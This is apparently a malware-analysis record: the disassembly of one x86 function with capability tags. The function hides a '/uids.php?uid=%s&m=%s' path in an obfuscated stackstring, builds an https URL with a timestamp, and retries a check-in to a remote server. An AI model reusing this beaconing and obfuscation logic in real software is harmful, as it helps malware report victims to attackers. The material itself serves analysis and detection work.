Function at 0x10017a90
Capabilities:
Access peb ldr_data
Check os version
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push 0xffffffffffffffff
push 0x10041f78
mov eax, dword fs:[0]
push eax
sub esp, 0x7c
mov eax, dword [0x100695e8]
xor eax, esp
mov dword [esp + 0x78], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x100695e8]
xor eax, esp
push eax
lea eax, [esp + 0x90]
mov dword fs:[0], eax
mov eax, dword [esp + 0xa0]
mov esi, dword [esp + 0xa4]
mov dword [esp + 0x30], 0
mov dword [eax + 0x14], 0xf
mov dword [eax + 0x10], 0
mov dword [esp + 0x24], eax
mov dword [esp + 0x34], eax
mov byte [eax], 0
mov eax, dword [0x10069550]
mov ecx, 0x10069550
mov dword [esp + 0x98], 0
mov dword [esp + 0x30], 1
mov dword [esp + 0x7f], 0x253d6469
mov word [esp + 0x83], 0x2673
mov word [esp + 0x7b], 0x7068
mov dword [esp + 0x86], 0x73253d
mov word [esp + 0x75], 0x6975
mov word [esp + 0x78], 0x2e73
mov byte [esp + 0x7a], 0x70
mov byte [esp + 0x77], 0x64
mov word [esp + 0x7d], 0x753f
mov byte [esp + 0x74], 0x2f
mov byte [esp + 0x85], 0x6d
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x2c], eax
push str.1f110ae9da204c9eb884b0e51bbb5bdc
push esi
lea eax, [esp + 0x7c]
push eax
lea eax, [esp + 0x38]
push eax
mov dword [esp + 0xa8], 1
call fcn.1000c0d0
mov eax, dword [0x10069550]
add esp, 0x10
mov ecx, 0x10069550
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x20], eax
lea eax, [esp + 0x18]
push eax
mov byte [esp + 0x9c], 2
call fcn.1001b710
mov ebx, dword [esp + 0x30]
push ebx
push dword [eax]
lea eax, [esp + 0x2c]
push str.https:___s_s
push eax
mov byte [esp + 0xac], 3
call fcn.1000c0d0
mov edx, dword [esp + 0x2c]
add edx, 0xfffffff0
add esp, 0x14
mov byte [esp + 0x98], 2
lea ecx, [edx + 0xc]
or eax, 0xffffffff
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x10017bfb
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edi, dword [esp + 0x20]
xor eax, eax
mov dword [esp + 0x18], eax
cmp eax, 3
jne 0x10017c21
push str.ud.php
push str.uids.php
lea ecx, [esp + 0x28]
call fcn.1000b6d0
mov edi, dword [esp + 0x20]
mov ecx, dword [edi - 0x10]
mov eax, dword [ecx]
call dword [eax + 0x10]
cmp dword [edi - 4], 0
lea edx, [edi - 4]
mov ecx, eax
jl 0x10017c47
cmp ecx, dword [edi - 0x10]
jne 0x10017c47
lea ebp, [edi - 0x10]
mov eax, 1
lock xadd dword [edx], eax
jmp 0x10017c73
mov eax, dword [ecx]
push 1
push dword [edi - 0xc]
call dword [eax]
mov ebp, eax
test ebp, ebp
je 0x10017ea1
mov ecx, dword [edi - 0xc]
mov dword [ebp + 4], ecx
mov ecx, dword [edi - 0xc]
inc ecx
push ecx
push edi
push ecx
lea eax, [ebp + 0x10]
push eax
call fcn.100255bd
add esp, 0x10
lea eax, [ebp + 0x10]
mov dword [esp + 0x28], eax
mov byte [esp + 0x98], 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
lea eax, [esp + 0x2c]
push str.time_d
push eax
call fcn.1000c0f0
add esp, 0xc
lea ecx, [esp + 0x50]
call fcn.100226f0
mov esi, dword [esp + 0x28]
mov dword [esp + 0x4c], 0xf
mov dword [esp + 0x48], 0
mov byte [esp + 0x38], 0
cmp byte [esi], 0
mov byte [esp + 0x98], 5
jne 0x10017cce
xor eax, eax
jmp 0x10017cdc
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10017cd3
sub eax, edx
push eax
push esi
lea ecx, [esp + 0x40]
call fcn.1000e740
mov ebp, dword [esp + 0x24]
push ebp
lea eax, [esp + 0x3c]
push eax
lea ecx, [esp + 0x58]
mov byte [esp + 0xa0], 6
call fcn.100228e0
cmp dword [esp + 0x4c], 0x10
mov byte [esp + 0x17], al
mov byte [esp + 0x98], 5
jb 0x10017d25
push dword [esp + 0x38]
call fcn.1002501c
mov al, byte [esp + 0x1b]
add esp, 4
test al, al
je 0x10017da1
mov eax, dword [0x10069550]
mov ecx, 0x10069550
call dword [eax + 0xc]
add eax, 0x10
mov dword [esp + 0x1c], eax
mov ecx, ebp
mov byte [esp + 0x98], 7
call fcn.1000e8a0
push eax
lea eax, [esp + 0x20]
push 0x10061d70
push eax
call fcn.1000c0d0
add esp, 0xc
lea ecx, [esp + 0x1c]
call fcn.1000bc70
mov ecx, eax
call fcn.1000bcf0
mov eax, dword [eax]
mov edx, dword [esp + 0x1c]
add edx, 0xfffffff0
or ebp, 0xffffffff
cmp dword [eax - 0xc], 0x6c
mov byte [esp + 0x98], 5
mov ecx, ebp
lea eax, [edx + 0xc]
je 0x10017df5
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x10017da4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x10017da4
or ebp, 0xffffffff
push 0x12c
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [esp + 0x50]
mov byte [esp + 0x98], 4
call fcn.100227d0
add esi, 0xfffffff0
mov byte [esp + 0x98], 2
lea eax, [esi + 0xc]
mov ecx, ebp
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x10017de1
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [esp + 0x18]
inc eax
mov dword [esp + 0x18], eax
cmp eax, 6
jl 0x10017c05
jmp 0x10017e38
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x10017e06
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [esp + 0x50]
mov byte [esp + 0x98], 4
call fcn.100227d0
add esi, 0xfffffff0
mov byte [esp + 0x98], 2
lea eax, [esi + 0xc]
mov ecx, ebp
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x10017e38
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
add edi, 0xfffffff0
mov byte [esp + 0x98], 1
lea eax, [edi + 0xc]
mov ecx, ebp
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x10017e59
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
add ebx, 0xfffffff0
mov byte [esp + 0x98], 0
lea eax, [ebx + 0xc]
lock xadd dword [eax], ebp
dec ebp
test ebp, ebp
jg 0x10017e78
mov ecx, dword [ebx]
push ebx
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x90]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x78]
xor ecx, esp
call fcn.10026aaf
add esp, 0x88
ret
call fcn.1000df70
int3